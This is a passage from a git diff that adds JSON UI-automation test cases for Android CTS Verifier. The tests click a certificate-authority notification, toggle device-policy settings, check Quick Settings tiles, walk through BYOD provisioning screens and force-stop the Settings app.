installed\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Certificate authority installed\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":548.75,\"x2\":342.5,\"y2\":565.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":76.5,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Certificate authority installed\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/line1\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":548.75,\"x2\":342.5,\"y2\":565.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Certificate authority installed\"},{\"uuid\":\"b0cdc866-0923-4912-aabf-244a0a804a63\",\"displayText\":\"By an unknown third party\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text\",\"text\":\"By an unknown third party\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":565.75,\"x2\":342.5,\"y2\":582.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"By an unknown third party\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/notification_main_column\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":548.75,\"x2\":342.5,\"y2\":582.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Certificate authority installed\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"android:id/status_bar_latest_event_content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":508.5,\"x2\":356.5,\"y2\":599.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Android System\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/expanded\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":508.5,\"x2\":356.5,\"y2\":599.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Android System\"},{\"uuid\":\"bce7708c-bf9f-45ad-9244-b8687859879a\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/fake_shadow\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":508.5,\"x2\":356.5,\"y2\":599.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":508.5,\"x2\":356.5,\"y2\":599.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":103.5,\"y\":557.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":76.5,\"y\":-2.875,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"1c898d30-a210-4145-bd54-45d2366e4b64\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Certificate authority installed\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":17.0,\"y1\":552.0,\"x2\":190.0,\"y2\":562.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Certificate authority installed\",\"actionId\":\"c0acc4c4-9630-4877-a9f5-ba26d8546b11\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Certificate authority installed\"},{\"type\":\"ClickAction\",\"name\":\"Click Action,Check certificate button\",\"actionId\":\"0c8f4514-e846-4c4b-9b04-b8e92266c046\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"}],\"childrenIdList\":[\"15c75efc-b173-4eed-9a2c-164886355c98\",\"7560d48a-692f-4746-8a20-c95a2da66aee\",\"c0acc4c4-9630-4877-a9f5-ba26d8546b11\",\"0c8f4514-e846-4c4b-9b04-b8e92266c046\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Check certificate on notification status bar","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.231000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6f25a9fc-c4ab-4de4-ab9e-3df9737e1f1b b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6f25a9fc-c4ab-4de4-ab9e-3df9737e1f1b
new file mode 100644
index 0000000..ceb3857
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6f25a9fc-c4ab-4de4-ab9e-3df9737e1f1b
@@ -0,0 +1 @@
+{"uuid":"6f25a9fc-c4ab-4de4-ab9e-3df9737e1f1b","details":"{\"type\":\"CompoundAction\",\"name\":\"15-18 &amp; 17-06-09-Disallow config location\",\"actionId\":\"6f25a9fc-c4ab-4de4-ab9e-3df9737e1f1b\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow config location\",\"actionId\":\"7b874b8e-20b3-4e9b-80c7-3f6d10f0bc84\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow config location\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"477a0669-d6b0-49d6-b2e3-036a79f9fb59\",\"displayText\":\"Disallow config location\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow config location\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":395.6666666666667,\"x2\":360.0,\"y2\":439.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":84.0,\"y\":419.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":96.0,\"y\":-1.3333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"477a0669-d6b0-49d6-b2e3-036a79f9fb59\",\"firstText\":\"Disallow config location\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow config location\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":8.0,\"y1\":401.0,\"x2\":160.0,\"y2\":437.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow config location\",\"actionId\":\"d24e75ea-2aaf-4b71-b069-5d609e37ec3d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow config location\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Use location\",\"actionId\":\"a35fd513-b60b-4c2b-95d8-879d41700282\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Use location\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"bae6381d-6761-4ded-b1d7-04cbc3f9d5da\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Google Location Accuracy\",\"actionId\":\"2a5b067a-7c99-422d-8158-7c4fceedafae\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Google Location Accuracy\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"276137cc-370d-45e6-9f1b-fa9a8050a607\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"fa1f115b-de9b-4c53-8e07-036c0f6c851c\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"7b874b8e-20b3-4e9b-80c7-3f6d10f0bc84\",\"d24e75ea-2aaf-4b71-b069-5d609e37ec3d\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"a35fd513-b60b-4c2b-95d8-879d41700282\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"bae6381d-6761-4ded-b1d7-04cbc3f9d5da\",\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"2a5b067a-7c99-422d-8158-7c4fceedafae\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"276137cc-370d-45e6-9f1b-fa9a8050a607\",\"fa1f115b-de9b-4c53-8e07-036c0f6c851c\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-18 &amp; 17-06-09-Disallow config location","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.148000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6f268fc7-772a-426d-ab18-4e9b2eefa03e b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6f268fc7-772a-426d-ab18-4e9b2eefa03e
new file mode 100644
index 0000000..365e460
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6f268fc7-772a-426d-ab18-4e9b2eefa03e
@@ -0,0 +1 @@
+{"uuid":"6f268fc7-772a-426d-ab18-4e9b2eefa03e","details":"{\"type\":\"CompoundAction\",\"name\":\"Assert absent for Tile Service for CTS Verifier \",\"actionId\":\"6f268fc7-772a-426d-ab18-4e9b2eefa03e\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-assert absent for Tile Service for CTS Verifier \",\"actionId\":\"d5907d5e-301b-4079-93a3-e15459c7c602\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/tile_label\"},{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Tile Service for CTS Verifier\"}]},\"clickAfterValidation\":false},{\"type\":\"SwipeAction\",\"name\":\"left\",\"actionId\":\"73f542ff-8407-4b9d-af2c-34269b317abd\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"startX\":340,\"startY\":320,\"endX\":20,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-assert absent for Tile Service for CTS Verifier \",\"actionId\":\"6ffb9270-e1e4-4c66-b518-8ff64078bcfe\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/tile_label\"},{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Tile Service for CTS Verifier\"}]},\"clickAfterValidation\":false}],\"childrenIdList\":[\"d5907d5e-301b-4079-93a3-e15459c7c602\",\"73f542ff-8407-4b9d-af2c-34269b317abd\",\"6ffb9270-e1e4-4c66-b518-8ff64078bcfe\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Assert absent for Tile Service for CTS Verifier ","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.327000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/700c10f3-2945-460b-bc5a-dc5a5fdc0f96 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/700c10f3-2945-460b-bc5a-dc5a5fdc0f96
new file mode 100644
index 0000000..cc269a8
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/700c10f3-2945-460b-bc5a-dc5a5fdc0f96
@@ -0,0 +1 @@
+{"uuid":"700c10f3-2945-460b-bc5a-dc5a5fdc0f96","details":"{\"type\":\"CompoundAction\",\"name\":\"Close Settings\",\"actionId\":\"700c10f3-2945-460b-bc5a-dc5a5fdc0f96\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Force close settings\",\"actionId\":\"c2a448f2-5bb6-48e8-a213-9f47f9544087\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"riacheltseng\",\"commandLine\":\"shell am force-stop com.android.settings\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"c2a448f2-5bb6-48e8-a213-9f47f9544087\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Close Settings","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325438.999000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7265db9b-8461-4c01-8b11-809b8e346327 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7265db9b-8461-4c01-8b11-809b8e346327
new file mode 100644
index 0000000..a42f4c0
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7265db9b-8461-4c01-8b11-809b8e346327
@@ -0,0 +1 @@
+{"uuid":"7265db9b-8461-4c01-8b11-809b8e346327","details":"{\"type\":\"CompoundAction\",\"name\":\"02_Custom provisioning image(Check image)\",\"actionId\":\"7265db9b-8461-4c01-8b11-809b8e346327\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to BYOD Provisioning tests\",\"actionId\":\"d447d575-ad8d-4225-aa75-e1c8bdcf678a\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"BYOD Provisioning tests\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"1e0ceffb-a84c-4dde-995e-e27ec3b9498d\",\"displayText\":\"BYOD Provisioning tests\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"BYOD Provisioning tests\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":452.0,\"x2\":351.3333333333333,\"y2\":494.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":96.5,\"y\":469.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":83.5,\"y\":4.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"leafNodeContext\":\"1e0ceffb-a84c-4dde-995e-e27ec3b9498d\",\"firstText\":\"BYOD Provisioning tests\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"BYOD Provisioning tests\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":182.0,\"y1\":483.0,\"x2\":11.0,\"y2\":455.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, BYOD Provisioning tests\",\"actionId\":\"32d17e91-6762-492a-a978-7f85b328b3cb\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"BYOD Provisioning tests\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Custom provisioning image\",\"actionId\":\"379e890a-a07e-4737-9696-89c39fe6249c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Custom provisioning image\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Go\",\"actionId\":\"d85e3c07-d753-4845-baa6-9d09ba4c9c10\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Go\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Accept & continue\",\"actionId\":\"bb46b82a-f493-47de-8fc5-624d893ede89\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Accept & continue\"},{\"type\":\"ScreenCapAction\",\"name\":\"SCREEN CAP\",\"actionId\":\"308bac6a-4905-4c93-89c5-120a85f79848\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"pololee\"},{\"type\":\"WaitAction\",\"name\":\"WAIT for 5 secs\",\"actionId\":\"c9f9cf56-ec18-4411-b887-7403886c3e29\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":5000,\"createdBy\":\"pololee\"},{\"type\":\"ScreenCapAction\",\"name\":\"SCREEN CAP\",\"actionId\":\"5fe61221-a06d-435b-983b-fb66f47c0af2\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"pololee\"},{\"type\":\"WaitAction\",\"name\":\"WAIT for 15 secs\",\"actionId\":\"60eeea8e-9175-47fa-bbf9-edf676f010c7\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":15000,\"createdBy\":\"pololee\"},{\"type\":\"ScreenCapAction\",\"name\":\"SCREEN CAP\",\"actionId\":\"cc915a37-1135-403a-939f-db9eafa2e71f\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"pololee\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Next\",\"actionId\":\"23ae6cc1-affe-4f44-8bad-41ff01140d55\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"d447d575-ad8d-4225-aa75-e1c8bdcf678a\",\"32d17e91-6762-492a-a978-7f85b328b3cb\",\"379e890a-a07e-4737-9696-89c39fe6249c\",\"d85e3c07-d753-4845-baa6-9d09ba4c9c10\",\"bb46b82a-f493-47de-8fc5-624d893ede89\",\"308bac6a-4905-4c93-89c5-120a85f79848\",\"c9f9cf56-ec18-4411-b887-7403886c3e29\",\"5fe61221-a06d-435b-983b-fb66f47c0af2\",\"60eeea8e-9175-47fa-bbf9-edf676f010c7\",\"cc915a37-1135-403a-939f-db9eafa2e71f\",\"23ae6cc1-affe-4f44-8bad-41ff01140d55\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"02_Custom provisioning image(Check image)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.312000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/72a6fa67-df5f-4c18-849a-8212e749417e b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/72a6fa67-df5f-4c18-849a-8212e749417e
new file mode 100644
index 0000000..2346ee6
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/72a6fa67-df5f-4c18-849a-8212e749417e
@@ -0,0 +1 @@
+{"uuid":"72a6fa67-df5f-4c18-849a-8212e749417e","details":"{\"type\":\"CompoundAction\",\"name\":\"Launch Dummy input method\",\"actionId\":\"72a6fa67-df5f-4c18-849a-8212e749417e\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to System\",\"actionId\":\"873c31a5-9dd5-46fe-9f4a-6414a68a17e1\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"System\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"afb727dd-f083-4359-8abc-69492013588a\",\"displayText\":\"System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"a92a789b-cfb1-4f4d-907f-78b3283721ea\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"eea20e8b-8ed6-4eb1-b450-58f1358b23d4\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":543.75,\"x2\":45.5,\"y2\":575.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":540.25,\"x2\":63.0,\"y2\":578.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"eb604baf-c575-4f7a-acd3-f18603b0605d\",\"displayText\":\"System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"37670940-29d2-48ea-bcd5-661b52292b70\",\"displayText\":\"System\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"System\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":541.75,\"x2\":109.25,\"y2\":560.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-7.875,\"y\":3.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"System\"},{\"uuid\":\"f29faada-133f-4189-9ba9-a615c4f78d43\",\"displayText\":\"Languages, gestures, time, backup\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Languages, gestures, time, backup\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":560.75,\"x2\":251.75,\"y2\":577.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Languages, gestures, time, 